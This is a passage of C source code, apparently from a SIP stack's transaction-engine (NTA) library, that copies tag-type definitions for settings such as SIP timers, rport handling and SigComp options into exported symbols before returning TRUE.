*_ntatag_s_tout_request_ref; *(struct tag_type_s *)ntatag_s_sent_request = *_ntatag_s_sent_request; *(struct tag_type_s *)ntatag_s_sent_request_ref = *_ntatag_s_sent_request_ref; *(struct tag_type_s *)ntatag_s_client_tr = *_ntatag_s_client_tr; *(struct tag_type_s *)ntatag_s_client_tr_ref = *_ntatag_s_client_tr_ref; *(struct tag_type_s *)ntatag_s_drop_request = *_ntatag_s_drop_request; *(struct tag_type_s *)ntatag_s_drop_request_ref = *_ntatag_s_drop_request_ref; *(struct tag_type_s *)ntatag_s_recv_request = *_ntatag_s_recv_request; *(struct tag_type_s *)ntatag_s_recv_request_ref = *_ntatag_s_recv_request_ref; *(struct tag_type_s *)ntatag_mclass = *_ntatag_mclass; *(struct tag_type_s *)ntatag_mclass_ref = *_ntatag_mclass_ref; *(struct tag_type_s *)ntatag_s_bad_request = *_ntatag_s_bad_request; *(struct tag_type_s *)ntatag_s_bad_request_ref = *_ntatag_s_bad_request_ref; *(struct tag_type_s *)ntatag_any = *_ntatag_any; *(struct tag_type_s *)ntatag_any_ref = *_ntatag_any_ref; *(struct tag_type_s *)ntatag_s_trless_200 = *_ntatag_s_trless_200; *(struct tag_type_s *)ntatag_s_trless_200_ref = *_ntatag_s_trless_200_ref; *(struct tag_type_s *)ntatag_maxsize = *_ntatag_maxsize; *(struct tag_type_s *)ntatag_maxsize_ref = *_ntatag_maxsize_ref; *(struct tag_type_s *)ntatag_bad_resp_mask = *_ntatag_bad_resp_mask; *(struct tag_type_s *)ntatag_bad_resp_mask_ref = *_ntatag_bad_resp_mask_ref; *(struct tag_type_s *)ntatag_s_canceled_tr = *_ntatag_s_canceled_tr; *(struct tag_type_s *)ntatag_s_canceled_tr_ref = *_ntatag_s_canceled_tr_ref; *(struct tag_type_s *)ntatag_bad_req_mask = *_ntatag_bad_req_mask; *(struct tag_type_s *)ntatag_bad_req_mask_ref = *_ntatag_bad_req_mask_ref; *(struct tag_type_s *)ntatag_s_acked_tr = *_ntatag_s_acked_tr; *(struct tag_type_s *)ntatag_s_acked_tr_ref = *_ntatag_s_acked_tr_ref; *(struct tag_type_s *)ntatag_use_timestamp = *_ntatag_use_timestamp; *(struct tag_type_s *)ntatag_use_timestamp_ref = *_ntatag_use_timestamp_ref; *(struct tag_type_s *)ntatag_graylist = *_ntatag_graylist; *(struct tag_type_s *)ntatag_graylist_ref = *_ntatag_graylist_ref; *(struct tag_type_s *)ntatag_timer_c = *_ntatag_timer_c; *(struct tag_type_s *)ntatag_timer_c_ref = *_ntatag_timer_c_ref; *(struct tag_type_s *)ntatag_max_proceeding = *_ntatag_max_proceeding; *(struct tag_type_s *)ntatag_max_proceeding_ref = *_ntatag_max_proceeding_ref; *(struct tag_type_s *)ntatag_use_naptr = *_ntatag_use_naptr; *(struct tag_type_s *)ntatag_use_naptr_ref = *_ntatag_use_naptr_ref; *(struct tag_type_s *)ntatag_cancel_2543 = *_ntatag_cancel_2543; *(struct tag_type_s *)ntatag_cancel_2543_ref = *_ntatag_cancel_2543_ref; *(struct tag_type_s *)ntatag_sipflags = *_ntatag_sipflags; *(struct tag_type_s *)ntatag_sipflags_ref = *_ntatag_sipflags_ref; *(struct tag_type_s *)ntatag_sigcomp_algorithm = *_ntatag_sigcomp_algorithm; *(struct tag_type_s *)ntatag_sigcomp_algorithm_ref = *_ntatag_sigcomp_algorithm_ref; *(struct tag_type_s *)ntatag_contact = *_ntatag_contact; *(struct tag_type_s *)ntatag_contact_ref = *_ntatag_contact_ref; *(struct tag_type_s *)ntatag_incomplete = *_ntatag_incomplete; *(struct tag_type_s *)ntatag_incomplete_ref = *_ntatag_incomplete_ref; *(struct tag_type_s *)ntatag_use_srv = *_ntatag_use_srv; *(struct tag_type_s *)ntatag_use_srv_ref = *_ntatag_use_srv_ref; *(struct tag_type_s *)ntatag_ua = *_ntatag_ua; *(struct tag_type_s *)ntatag_ua_ref = *_ntatag_ua_ref; *(struct tag_type_s *)ntatag_sigcomp_aware = *_ntatag_sigcomp_aware; *(struct tag_type_s *)ntatag_sigcomp_aware_ref = *_ntatag_sigcomp_aware_ref; *(struct tag_type_s *)ntatag_s_bad_message = *_ntatag_s_bad_message; *(struct tag_type_s *)ntatag_s_bad_message_ref = *_ntatag_s_bad_message_ref; *(struct tag_type_s *)ntatag_preload = *_ntatag_preload; *(struct tag_type_s *)ntatag_preload_ref = *_ntatag_preload_ref; *(struct tag_type_s *)ntatag_msg = *_ntatag_msg; *(struct tag_type_s *)ntatag_msg_ref = *_ntatag_msg_ref; *(struct tag_type_s *)ntatag_delay_sending = *_ntatag_delay_sending; *(struct tag_type_s *)ntatag_delay_sending_ref = *_ntatag_delay_sending_ref; *(struct tag_type_s *)ntatag_extra_100 = *_ntatag_extra_100; *(struct tag_type_s *)ntatag_extra_100_ref = *_ntatag_extra_100_ref; *(struct tag_type_s *)ntatag_server_rport = *_ntatag_server_rport; *(struct tag_type_s *)ntatag_server_rport_ref = *_ntatag_server_rport_ref; *(struct tag_type_s *)ntatag_client_rport = *_ntatag_client_rport; *(struct tag_type_s *)ntatag_client_rport_ref = *_ntatag_client_rport_ref; *(struct tag_type_s *)ntatag_default_proxy = *_ntatag_default_proxy; *(struct tag_type_s *)ntatag_default_proxy_ref = *_ntatag_default_proxy_ref; *(struct tag_type_s *)ntatag_user_via = *_ntatag_user_via; *(struct tag_type_s *)ntatag_user_via_ref = *_ntatag_user_via_ref; *(struct tag_type_s *)ntatag_tls_rport = *_ntatag_tls_rport; *(struct tag_type_s *)ntatag_tls_rport_ref = *_ntatag_tls_rport_ref; *(struct tag_type_s *)ntatag_tcp_rport = *_ntatag_tcp_rport; *(struct tag_type_s *)ntatag_tcp_rport_ref = *_ntatag_tcp_rport_ref; *(struct tag_type_s *)ntatag_no_dialog = *_ntatag_no_dialog; *(struct tag_type_s *)ntatag_no_dialog_ref = *_ntatag_no_dialog_ref; *(struct tag_type_s *)ntatag_max_forwards = *_ntatag_max_forwards; *(struct tag_type_s *)ntatag_max_forwards_ref = *_ntatag_max_forwards_ref; *(struct tag_type_s *)ntatag_s_recv_retry = *_ntatag_s_recv_retry; *(struct tag_type_s *)ntatag_s_recv_retry_ref = *_ntatag_s_recv_retry_ref; *(struct tag_type_s *)ntatag_s_trless_to_tr = *_ntatag_s_trless_to_tr; *(struct tag_type_s *)ntatag_s_trless_to_tr_ref = *_ntatag_s_trless_to_tr_ref; *(struct tag_type_s *)ntatag_tport = *_ntatag_tport; *(struct tag_type_s *)ntatag_tport_ref = *_ntatag_tport_ref; *(struct tag_type_s *)ntatag_sip_t4 = *_ntatag_sip_t4; *(struct tag_type_s *)ntatag_sip_t4_ref = *_ntatag_sip_t4_ref; *(struct tag_type_s *)ntatag_udp_mtu = *_ntatag_udp_mtu; *(struct tag_type_s *)ntatag_udp_mtu_ref = *_ntatag_udp_mtu_ref; *(struct tag_type_s *)ntatag_sip_t2 = *_ntatag_sip_t2; *(struct tag_type_s *)ntatag_sip_t2_ref = *_ntatag_sip_t2_ref; *(struct tag_type_s *)ntatag_smime = *_ntatag_smime; *(struct tag_type_s *)ntatag_smime_ref = *_ntatag_smime_ref; *(struct tag_type_s *)ntatag_branch_key = *_ntatag_branch_key; *(struct tag_type_s *)ntatag_branch_key_ref = *_ntatag_branch_key_ref; *(struct tag_type_s *)ntatag_sip_t1 = *_ntatag_sip_t1; *(struct tag_type_s *)ntatag_sip_t1_ref = *_ntatag_sip_t1_ref; *(struct tag_type_s *)ntatag_s_dialog_tr = *_ntatag_s_dialog_tr; *(struct tag_type_s *)ntatag_s_dialog_tr_ref = *_ntatag_s_dialog_tr_ref; *(struct tag_type_s *)ntatag_rseq = *_ntatag_rseq; *(struct tag_type_s *)ntatag_rseq_ref = *_ntatag_rseq_ref; *(struct tag_type_s *)ntatag_method = *_ntatag_method; *(struct tag_type_s *)ntatag_method_ref = *_ntatag_method_ref; *(struct tag_type_s *)ntatag_s_leg_hash = *_ntatag_s_leg_hash; *(struct tag_type_s *)ntatag_s_leg_hash_ref = *_ntatag_s_leg_hash_ref; *(struct tag_type_s *)ntatag_s_orq_hash = *_ntatag_s_orq_hash; *(struct tag_type_s *)ntatag_s_orq_hash_ref = *_ntatag_s_orq_hash_ref; *(struct tag_type_s *)ntatag_s_irq_hash = *_ntatag_s_irq_hash; *(struct tag_type_s *)ntatag_s_irq_hash_ref = *_ntatag_s_irq_hash_ref; *(struct tag_type_s *)ntatag_progress = *_ntatag_progress; *(struct tag_type_s *)ntatag_progress_ref = *_ntatag_progress_ref; *(struct tag_type_s *)ntatag_s_server_tr = *_ntatag_s_server_tr; *(struct tag_type_s *)ntatag_s_server_tr_ref = *_ntatag_s_server_tr_ref; *(struct tag_type_s *)ntatag_pass_100 = *_ntatag_pass_100; *(struct tag_type_s *)ntatag_pass_100_ref = *_ntatag_pass_100_ref; *(struct tag_type_s *)ntatag_sigcomp_options = *_ntatag_sigcomp_options; *(struct tag_type_s *)ntatag_sigcomp_options_ref = *_ntatag_sigcomp_options_ref; *(struct tag_type_s *)ntatag_ack_branch = *_ntatag_ack_branch; *(struct tag_type_s *)ntatag_ack_branch_ref = *_ntatag_ack_branch_ref; *(struct tag_type_s *)ntatag_merge_482 = *_ntatag_merge_482; *(struct tag_type_s *)ntatag_merge_482_ref = *_ntatag_merge_482_ref; *(struct tag_type_s *)ntatag_cancel_487 = *_ntatag_cancel_487; *(struct tag_type_s *)ntatag_cancel_487_ref = *_ntatag_cancel_487_ref; *(struct tag_type_s *)ntatag_target = *_ntatag_target; *(struct tag_type_s *)ntatag_target_ref = *_ntatag_target_ref; return TRUE; } #endif